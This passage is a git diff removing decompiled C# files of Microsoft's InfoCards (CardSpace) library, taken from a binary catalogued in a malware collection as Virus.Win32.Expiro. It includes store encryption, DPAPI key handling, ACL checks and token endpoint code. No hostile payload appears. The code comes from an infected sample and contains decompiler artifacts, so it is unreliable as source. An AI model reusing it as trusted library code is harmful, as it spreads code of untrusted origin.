sourceArray.Length, "Generated signature should be less than signature length"); - input.Seek(offset, SeekOrigin.Begin); - } - - private byte[] CreateStreamDigest(Stream input) - { - input.Seek((long) this.GetOffsetToEncryptedFileHeader(), SeekOrigin.Begin); - byte[] data = new byte[Convert.ToInt32((input.Length / 4096L + 1L) * (long) HashUtility.HashBufferLength)]; - int dataIndex = 0; - byte[] numArray = new byte[4096]; - int dataToHashSize; - do - { - dataToHashSize = input.Read(numArray, 0, numArray.Length); - if (dataToHashSize > 0) - { - HashUtility.SetHashValue(data, dataIndex, numArray, 0, dataToHashSize); - dataIndex += HashUtility.HashBufferLength; - } - } - while (dataToHashSize == numArray.Length); - return data; - } - - private byte[] SignDigest(byte[] iv, byte[] digest) - { - byte[] destinationArray = new byte[this.m_variableSignatureLength]; - using (MemoryStream input = new MemoryStream(digest)) - { - using (MemoryStream output = new MemoryStream(digest.Length)) - { - this.EncryptData(iv, (Stream) input, (Stream) output); - Array.Copy((Array) output.GetBuffer(), Convert.ToInt32(output.Position - 1L) - iv.Length, (Array) destinationArray, 0, iv.Length); - Array.Copy((Array) iv, 0, (Array) destinationArray, iv.Length, iv.Length); - return destinationArray; - } - } - } - - private void ValidateSignature(Stream input) - { - long offset = input != null ? input.Position : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - byte[] buffer = new byte[this.m_variableSignatureLength]; - byte[] numArray1 = this.AllocateIvBuffer(); - input.Seek(20L, SeekOrigin.Begin); - input.Read(numArray1, 0, numArray1.Length); - byte[] numArray2 = this.SignDigest(numArray1, this.CreateStreamDigest(input)); - input.Seek(4L, SeekOrigin.Begin); - input.Read(buffer, 0, buffer.Length); - for (int index = 0; index < buffer.Length; ++index) - { - if ((int) buffer[index] != (int) numArray2[index]) - throw InfoCardTrace.ThrowHelperError((Exception) new CorruptStoreException(SR.GetString("StoreSignatureNotValid"))); - } - input.Seek(offset, SeekOrigin.Begin); - } - - protected unsafe void LoadFrom(Stream stream) - { - if (stream == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (stream)); - stream.Seek(0L, SeekOrigin.Begin); - BinaryReader binaryReader1 = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_header = new byte[this.GetTotalHeaderSize()]; - binaryReader1.Read(this.m_header, 0, this.m_header.Length); - fixed (byte* numPtr1 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - if (11U != ((EncryptedFileStoreHeader*) numPtr1)->Version) - { - CorruptStoreException e = new CorruptStoreException(SR.GetString("StoreVersionNotSupported", (object) ((EncryptedFileStoreHeader*) numPtr1)->Version)); - InfoCardTrace.TraceAndLogException((Exception) e); - throw InfoCardTrace.ThrowHelperError((Exception) e); - } - // ISSUE: __unpin statement - __unpin(numPtr1); - fixed (byte* numPtr2 = &this.m_header[0]) - { - if (this.m_variableSignatureLength != ((SignatureHeader*) numPtr2)->SignatureSize) - throw InfoCardTrace.ThrowHelperError((Exception) new CorruptStoreException(SR.GetString("StoreSignatureNotValid"))); - } - this.ObtainDataKeyFromHeader(); - this.ValidateSignature(stream); - fixed (byte* numPtr3 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - byte[] numArray = this.AllocateIvBuffer(); - byte[] masterIndex; - using (MemoryStream output = new MemoryStream()) - { - binaryReader1.Read(numArray, 0, numArray.Length); - byte[] buffer1 = binaryReader1.ReadBytes(((EncryptedFileStoreHeader*) numPtr3)->IndexSize); - using (MemoryStream input = new MemoryStream(buffer1)) - { - this.DecryptData(numArray, (Stream) input, (Stream) output); - Array.Clear((Array) buffer1, 0, buffer1.Length); - } - output.Seek(0L, SeekOrigin.Begin); - BinaryReader binaryReader2 = (BinaryReader) new InfoCardBinaryReader((Stream) output); - int num1 = binaryReader2.ReadInt32(); - InfoCardTrace.Assert(num1 > 0, "MasterIndexCount Invalid"); - masterIndex = binaryReader2.ReadBytes(num1 * 4); - InfoCardTrace.Assert((uint) binaryReader2.ReadInt32() <= (uint) this.m_indexes.Count, "SecondaryIndexCount Invalid"); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - int lastIndex = binaryReader2.ReadInt32(); - int num2 = binaryReader2.ReadInt32(); - byte[] buffer2 = new byte[Utility.CalculateIncreaseByPercent(num2 * sizeof (SecondaryIndexItem), sizeof (SecondaryIndexItem), SecondaryIndexDefinition.GetByName(key).GrowthFactor)]; - binaryReader2.Read(buffer2, 0, num2 * sizeof (SecondaryIndexItem)); - this.m_indexes.SetBuffer(key, buffer2, lastIndex); - } - } - using (MemoryStream memoryStream = new MemoryStream(Utility.CalculateIncreaseByPercent(Convert.ToInt32(binaryReader1.BaseStream.Length - binaryReader1.BaseStream.Position), 1, 5))) - { - byte[] buffer3 = new byte[256]; - int num = 0; - int count; - do - { - count = binaryReader1.Read(buffer3, 0, buffer3.Length); - memoryStream.Write(buffer3, 0, count); - num += count; - } - while (count == buffer3.Length); - byte[] buffer4 = memoryStream.GetBuffer(); - if (num == 0) - buffer4 = new byte[2048]; - this.m_data = new IndexedDataBuffer(masterIndex, buffer4, ((EncryptedFileStoreHeader*) numPtr3)->DataSize, (DataSource) this); - } - } - } - } - - protected virtual void SwapFileWithShadow() - { - this.CloseFiles(); - this.OnSwapFileWithShadow(); - try - { - this.CreateDirAndFiles(); - } - catch - { - this.CloseFiles(); - throw; - } - } - - private unsafe void EncryptAndSaveDPAPIKeyToHeader() - { - DataBlob dataBlob1 = new DataBlob(); - DataBlob dataBlob2 = new DataBlob(); - byte[] numArray = new byte[32 + HashUtility.HashBufferLength]; - this.UnprotectKey(); - try - { - Array.Copy((Array) this.m_key, 0, (Array) numArray, 0, 32); - HashUtility.SetHashValue(numArray, 32, this.m_key, 0, 32); - fixed (byte* numPtr1 = &numArray[0]) - { - DataBlob dataBlob3; - dataBlob3.pbData = new IntPtr((void*) numPtr1); - dataBlob3.cbData = numArray.Length; - try - { - if (!NativeMethods.CryptProtectData(new IntPtr((void*) &dataBlob3), (string) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 65, new IntPtr((void*) &dataBlob1))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptProtectDataFailed"))); - using (new SystemIdentity(true)) - { - if (!NativeMethods.CryptProtectData(new IntPtr((void*) &dataBlob1), (string) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 65, new IntPtr((void*) &dataBlob2))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptProtectDataAsSystemFailed"))); - } - InfoCardTrace.Assert(dataBlob2.cbData <= 512, "The size of the encrypted data is larger than EncryptedKeyBlockSize"); - fixed (byte* numPtr2 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - ((EncryptedFileStoreHeader*) numPtr2)->KeyBlock.KeyType = 0; - ((EncryptedFileStoreHeader*) numPtr2)->KeyBlock.EncryptedKeySize = dataBlob2.cbData; - byte* numPtr3 = &((EncryptedFileStoreHeader*) numPtr2)->KeyBlock.EncryptedKey; - for (int index = 0; index < dataBlob2.cbData; ++index) - numPtr3[index] = *(byte*) ((IntPtr) dataBlob2.pbData.ToPointer() + index); - if (dataBlob2.cbData >= 512) - return; - Utility.ClearUnsafeMemory(new IntPtr((void*) (numPtr3 + dataBlob2.cbData)), 512 - dataBlob2.cbData); - } - } - finally - { - Exception e = (Exception) null; - if (IntPtr.Zero != dataBlob1.pbData) - { - Utility.ClearUnsafeMemory(dataBlob1.pbData, dataBlob1.cbData); - if (IntPtr.Zero != NativeMethods.LocalFree(dataBlob1.pbData)) - e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - } - if (IntPtr.Zero != dataBlob2.pbData) - { - Utility.ClearUnsafeMemory(dataBlob2.pbData, dataBlob2.cbData); - if (IntPtr.Zero != NativeMethods.LocalFree(dataBlob2.pbData)) - e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - } - if (e != null) - throw InfoCardTrace.ThrowHelperError(e); - } - } - } - finally - { - this.ProtectKey(); - Array.Clear((Array) numArray, 0, numArray.Length); - } - } - - private void ObtainDataKeyFromHeader() - { - try - { - this.m_key = this.TryObtainDataKeyFromDPAPI() ?? throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreUnableToGetStoreKeyFromDPAPI"))); - this.m_keyProtected = false; - this.ProtectKey(); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidStoreProtectionKeyException()); - throw; - } - } - - private unsafe byte[] TryObtainDataKeyFromDPAPI() - { - DataBlob dataBlob1 = new DataBlob(); - DataBlob dataBlob2 = new DataBlob(); - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - if (((EncryptedFileStoreHeader*) numPtr)->KeyBlock.KeyType != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreFileNotProtectedWithDPAPI"))); - byte[] dataKeyFromDpapi = (byte[]) null; - DataBlob dataBlob3; - dataBlob3.pbData = new IntPtr((void*) &((EncryptedFileStoreHeader*) numPtr)->KeyBlock.EncryptedKey); - dataBlob3.cbData = ((EncryptedFileStoreHeader*) numPtr)->KeyBlock.EncryptedKeySize; - try - { - using (new SystemIdentity(true)) - { - if (!NativeMethods.CryptUnprotectData(new IntPtr((void*) &dataBlob3), (StringBuilder) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1, new IntPtr((void*) &dataBlob2))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptUnprotectDataAsSystemFailed"))); - } - if (!NativeMethods.CryptUnprotectData(new IntPtr((void*) &dataBlob2), (StringBuilder) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1, new IntPtr((void*) &dataBlob1))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptUnprotectDataFailed"))); - InfoCardTrace.Assert(dataBlob1.cbData == 32 + HashUtility.HashBufferLength, "The data size returned by CryptUnprotectData is invalid or corrupt."); - dataKeyFromDpapi = new byte[32]; - Marshal.Copy(dataBlob1.pbData, dataKeyFromDpapi, 0, 32); - byte[] data = new byte[HashUtility.HashBufferLength]; - HashUtility.SetHashValue(data, 0, dataKeyFromDpapi, 0, 32); - for (int index = 0; index < data.Length; ++index) - { - if ((int) data[index] != (int) *(byte*) ((IntPtr) dataBlob1.pbData.ToPointer() + (32 + index))) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDecryptedKeyIsNotValid"))); - } - return dataKeyFromDpapi; - } - catch - { - if (dataKeyFromDpapi != null) - Array.Clear((Array) dataKeyFromDpapi, 0, dataKeyFromDpapi.Length); - throw; - } - finally - { - if (IntPtr.Zero != dataBlob2.pbData) - { - Utility.ClearUnsafeMemory(dataBlob2.pbData, dataBlob2.cbData); - NativeMethods.LocalFree(dataBlob2.pbData); - } - if (IntPtr.Zero != dataBlob1.pbData) - { - Utility.ClearUnsafeMemory(dataBlob1.pbData, dataBlob1.cbData); - NativeMethods.LocalFree(dataBlob1.pbData); - } - } - } - } - - private bool LogIfAclsTampered(FileSystemInfo fileSysInfo) - { - bool condition = true; - try - { - FileSystemSecurity accessControl; - if (fileSysInfo is DirectoryInfo) - { - accessControl = (FileSystemSecurity) ((DirectoryInfo) fileSysInfo).GetAccessControl(AccessControlSections.Access | AccessControlSections.Owner); - } - else - { - InfoCardTrace.Assert(fileSysInfo is FileInfo, "Only fileinfo possible"); - accessControl = (FileSystemSecurity) ((FileInfo) fileSysInfo).GetAccessControl(AccessControlSections.Access | AccessControlSections.Owner); - } - condition = this.LogIfAclsTamperedHelper(accessControl); - } - catch (UnauthorizedAccessException ex) - { - InfoCardTrace.Assert(condition, "ACL must have been tampered with"); - } - if (condition) - InfoCardTrace.TraceAndLogException((Exception) new DataAccessException(SR.GetString("StoreAclsTamperedWith"))); - return condition; - } - - private bool LogIfAclsTamperedHelper(FileSystemSecurity fs) - { - if (SystemIdentity.LsaIdentityReference != fs.GetOwner(typeof (SecurityIdentifier))) - return true; - AuthorizationRuleCollection accessRules = fs.GetAccessRules(true, true, typeof (SecurityIdentifier)); - bool flag = fs is DirectorySecurity; - foreach (FileSystemAccessRule systemAccessRule in (ReadOnlyCollectionBase) accessRules) - { - if ((!(SystemIdentity.LsaIdentityReference == systemAccessRule.IdentityReference) || FileSystemRights.FullControl != systemAccessRule.FileSystemRights || systemAccessRule.AccessControlType != AccessControlType.Allow) && (!flag || !((IdentityReference) FileDataSource.AdministratorSid == systemAccessRule.IdentityReference) || systemAccessRule.AccessControlType != AccessControlType.Allow || (FileSystemRights.ReadData | FileSystemRights.DeleteSubdirectoriesAndFiles | FileSystemRights.Synchronize) != systemAccessRule.FileSystemRights)) - return true; - } - return false; - } - - private static T CreateSecurityDescriptor() where T : FileSystemSecurity, new() - { - T securityDescriptor = new T(); - securityDescriptor.SetOwner(SystemIdentity.LsaIdentityReference); - foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) securityDescriptor.GetAccessRules(true, true, typeof (SecurityIdentifier))) - securityDescriptor.RemoveAccessRuleAll(accessRule); - securityDescriptor.AddAccessRule(new FileSystemAccessRule(SystemIdentity.LsaIdentityReference, FileSystemRights.FullControl, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow)); - if ((object) securityDescriptor is DirectorySecurity) - securityDescriptor.AddAccessRule(new FileSystemAccessRule((IdentityReference) FileDataSource.AdministratorSid, FileSystemRights.ReadData | FileSystemRights.DeleteSubdirectoriesAndFiles, AccessControlType.Allow)); - securityDescriptor.SetAccessRuleProtection(true, false); - return securityDescriptor; - } - - private void SetupProvider() => this.m_provider = SafeRsaProviderHandle.Construct(); - - private byte[] AllocateIvBuffer() - { - InfoCardTrace.Assert(16 == this.m_encAlg.IV.Length, "Must be equal"); - InfoCardTrace.Assert(16 == this.m_encAlg.IV.Length, "Must be equal"); - return new byte[this.m_encAlg.IV.Length]; - } - - private static void ResilientDelete(FileInfo toDelete) - { - int millisecondsTimeout = 10; - bool flag = true; - Exception inner = (Exception) null; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - toDelete.Delete(); - flag = true; - } - catch (IOException ex) - { - inner = (Exception) ex; - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFileInUse"), inner)); - } - - private static void ResilientMove(FileInfo fileFrom, FileInfo fileTo) - { - int millisecondsTimeout = 10; - bool flag = true; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - fileFrom.MoveTo(fileTo.FullName); - flag = true; - } - catch (IOException ex) - { - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (flag) - return; - InfoCardTrace.FailFast(SR.GetString("StoreFileInUse")); - } - - private static FileStream ResilientOpen( - FileInfo toOpen, - FileMode mode, - FileAccess access) - { - int millisecondsTimeout = 10; - bool flag = true; - Exception inner = (Exception) null; - FileStream fileStream = (FileStream) null; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - fileStream = toOpen.Open(mode, access, FileShare.None); - flag = true; - } - catch (IOException ex) - { - inner = (Exception) ex; - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFileInUse"), inner)); - return fileStream; - } - - internal static SymmetricAlgorithm CreateEncryptionAlg() - { - RijndaelManaged encryptionAlg = new RijndaelManaged(); - encryptionAlg.Mode = CipherMode.CBC; - encryptionAlg.KeySize = 256; - encryptionAlg.BlockSize = 128; - return (SymmetricAlgorithm) encryptionAlg; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FreeIndexList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FreeIndexList.cs deleted file mode 100644 index e27f9299..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FreeIndexList.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FreeIndexList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class FreeIndexList - { - private Dictionary m_list; - - public FreeIndexList(int size) => this.m_list = size > 0 ? new Dictionary(size) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (size), (object) size, SR.GetString("StoreFreeListSizeOutOfRange"))); - - public bool Contains(int value) => value > 0 ? this.m_list.ContainsKey(value) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (value), (object) value, SR.GetString("StoreFreeListValueOutOfRange"))); - - public void Put(int value) - { - if (value <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (value), (object) value, SR.GetString("StoreFreeListValueOutOfRange"))); - this.m_list.Add(value, value); - } - - public int GetNext() - { - int key = -1; - if (this.m_list.Count > 0) - { - using (IEnumerator enumerator = (IEnumerator) this.m_list.Keys.GetEnumerator()) - { - enumerator.MoveNext(); - key = enumerator.Current; - } - this.m_list.Remove(key); - } - return key; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs deleted file mode 100644 index 74bf8b1f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GenerateDerivedKeyRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GenerateDerivedKeyRequest : ClientRequest - { - private int m_sessionId; - private byte[] m_label; - private byte[] m_nonce; - private int m_derivedKeyLength; - private int m_offset; - private string m_derivationAlgUri; - private byte[] m_key; - - public GenerateDerivedKeyRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_key = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_sessionId = reader.ReadInt32(); - int count1 = reader.ReadInt32(); - this.m_label = reader.ReadBytes(count1); - int count2 = reader.ReadInt32(); - this.m_nonce = reader.ReadBytes(count2); - this.m_derivedKeyLength = reader.ReadInt32(); - this.m_offset = reader.ReadInt32(); - this.m_derivationAlgUri = Utility.DeserializeString(reader); - } - - protected override void OnProcess() => this.m_key = ((SymmetricCryptoSession) CryptoSession.Find(this.m_sessionId, this.CallerPid, this.RequestorIdentity.User)).GenerateDerivedKey(this.m_derivationAlgUri, this.m_label, this.m_nonce, this.m_derivedKeyLength, this.m_offset); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_key.Length); - binaryWriter.Write(this.m_key); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs deleted file mode 100644 index 9ab23f3f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs +++ /dev/null @@ -1,90 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenEndpoint -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenEndpoint - { - private Uri m_address; - private Uri m_policyAddress; - private X509Certificate2Collection m_supportingCertsCollection = new X509Certificate2Collection(); - private X509Certificate2 m_leafCert; - - public Uri Address => this.m_address; - - public Uri PolicyUrl => this.m_policyAddress; - - public X509Certificate2Collection SupportingCertificates => this.m_supportingCertsCollection; - - public X509Certificate2 LeafCertificate => this.m_leafCert; - - public EndpointAddress CreateEndpointAddress() - { - if (!((Uri) null != this.m_address)) - return (EndpointAddress) null; - return this.LeafCertificate != null ? new EndpointAddress(this.m_address, EndpointIdentity.CreateX509CertificateIdentity(this.LeafCertificate, this.SupportingCertificates), new AddressHeader[0]) : new EndpointAddress(this.m_address, new AddressHeader[0]); - } - - public XmlElement CreateEndpointAddressXml() - { - if ((Uri) null != this.m_address) - { - EndpointAddress endpointAddress = this.LeafCertificate == null ? new EndpointAddress(this.m_address, new AddressHeader[0]) : new EndpointAddress(this.m_address, EndpointIdentity.CreateX509CertificateIdentity(this.LeafCertificate, this.SupportingCertificates), new AddressHeader[0]); - if ((EndpointAddress) null != endpointAddress) - { - using (MemoryStream memoryStream = new MemoryStream()) - { - using (XmlWriter writer = (XmlWriter) new XmlTextWriter((Stream) memoryStream, Encoding.UTF8)) - { - endpointAddress.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.Flush(); - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - using (XmlReader readerWithQuotas = (XmlReader) Utility.CreateReaderWithQuotas((Stream) memoryStream)) - return (XmlElement) new XmlDocument().ReadNode(readerWithQuotas); - } - } - } - } - return (XmlElement) null; - } - - public void Load(BinaryReader reader, int paramVersion) - { - string uriString1 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString1)) - this.m_address = new Uri(uriString1); - string uriString2 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString2)) - this.m_policyAddress = new Uri(uriString2); - int num = 0; - if (2 == paramVersion) - num = reader.ReadInt32(); - else if (1 == paramVersion) - num = 1; - for (int index = 0; index < num; ++index) - { - byte[] numArray = reader.ReadBytes(reader.ReadInt32()); - if (!Utility.ArrayIsNullOrEmpty((Array) numArray)) - { - X509Certificate2 certificate = new X509Certificate2(numArray); - if (index == 0) - this.m_leafCert = certificate; - else - this.m_supportingCertsCollection.Add(certificate); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenParameters.cs deleted file mode 100644 index 1f0ea7f1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenParameters.cs +++ /dev/null @@ -1,110 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenParameters - { - private GetBrowserTokenEndpoint m_recipient; - private GetBrowserTokenEndpoint m_issuer; - private Uri m_tokenType; - private List m_requiredClaims; - private List m_optionalClaims; - private int m_flags; - private uint m_privacyVersion; - private Uri m_privacyUrl; - - public GetBrowserTokenParameters() - { - this.m_recipient = new GetBrowserTokenEndpoint(); - this.m_issuer = new GetBrowserTokenEndpoint(); - this.m_requiredClaims = new List(); - this.m_optionalClaims = new List(); - } - - public GetBrowserTokenEndpoint Recipient => this.m_recipient; - - public GetBrowserTokenEndpoint Issuer => this.m_issuer; - - public IList RequiredClaims => (IList) this.m_requiredClaims.AsReadOnly(); - - public IList OptionalClaims => (IList) this.m_optionalClaims.AsReadOnly(); - - public Uri PrivacyUrl => this.m_privacyUrl; - - public uint PrivacyVersion => this.m_privacyVersion; - - public void Load(BinaryReader reader, int paramVersion) - { - this.m_flags = paramVersion; - this.m_recipient.Load(reader, paramVersion); - this.m_issuer.Load(reader, paramVersion); - string uriString1 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString1)) - this.m_tokenType = new Uri(uriString1); - int num1 = reader.ReadInt32(); - for (int index = 0; index < num1; ++index) - this.m_requiredClaims.Add(Utility.DeserializeString(reader)); - int num2 = reader.ReadInt32(); - for (int index = 0; index < num2; ++index) - this.m_optionalClaims.Add(Utility.DeserializeString(reader)); - this.m_privacyVersion = reader.ReadUInt32(); - string uriString2 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString2)) - this.m_privacyUrl = new Uri(uriString2); - else - this.m_privacyUrl = (Uri) null; - } - - public CardSpacePolicyElement CreatePolicyElement( - ProtocolProfile protocolProfile) - { - XmlDocument document = new XmlDocument(); - XmlElement element = document.CreateElement(protocolProfile.WSTrust.DefaultPrefix, protocolProfile.WSTrust.ClaimsElement, protocolProfile.WSTrust.Namespace); - foreach (string requiredClaim in (IEnumerable) this.RequiredClaims) - element.AppendChild((XmlNode) GetBrowserTokenParameters.CreateClaimElement(document, requiredClaim, false)); - foreach (string optionalClaim in (IEnumerable) this.OptionalClaims) - element.AppendChild((XmlNode) GetBrowserTokenParameters.CreateClaimElement(document, optionalClaim, true)); - IssuedSecurityTokenParameters securityTokenParameters = new IssuedSecurityTokenParameters(); - if ((Uri) null != this.m_tokenType) - securityTokenParameters.TokenType = this.m_tokenType.ToString(); - securityTokenParameters.AdditionalRequestParameters.Add(element); - Collection requestParameters = securityTokenParameters.CreateRequestParameters(protocolProfile.MsgSecurityVersion, (SecurityTokenSerializer) new WSSecurityTokenSerializer(protocolProfile.MsgSecurityVersion.SecurityVersion, true, (SamlSerializer) null, (SecurityStateEncoder) null, (IEnumerable) null)); - foreach (XmlElement xmlElement in requestParameters) - { - if (StringComparer.Ordinal.Equals(xmlElement.LocalName, protocolProfile.WSTrust.KeyType) && StringComparer.Ordinal.Equals(xmlElement.NamespaceURI, protocolProfile.WSTrust.Namespace)) - { - xmlElement.RemoveAll(); - xmlElement.AppendChild((XmlNode) xmlElement.OwnerDocument.CreateTextNode(protocolProfile.WSTrust.KeyTypeBearer.OriginalString)); - break; - } - } - return new CardSpacePolicyElement(this.m_recipient != null ? this.m_recipient.CreateEndpointAddressXml() : (XmlElement) null, this.m_issuer != null ? this.m_issuer.CreateEndpointAddressXml() : (XmlElement) null, requestParameters, this.m_privacyUrl, Convert.ToInt32(this.m_privacyVersion), false); - } - - private static XmlElement CreateClaimElement( - XmlDocument document, - string claimUri, - bool optional) - { - XmlElement element = document.CreateElement("wsid", "ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - 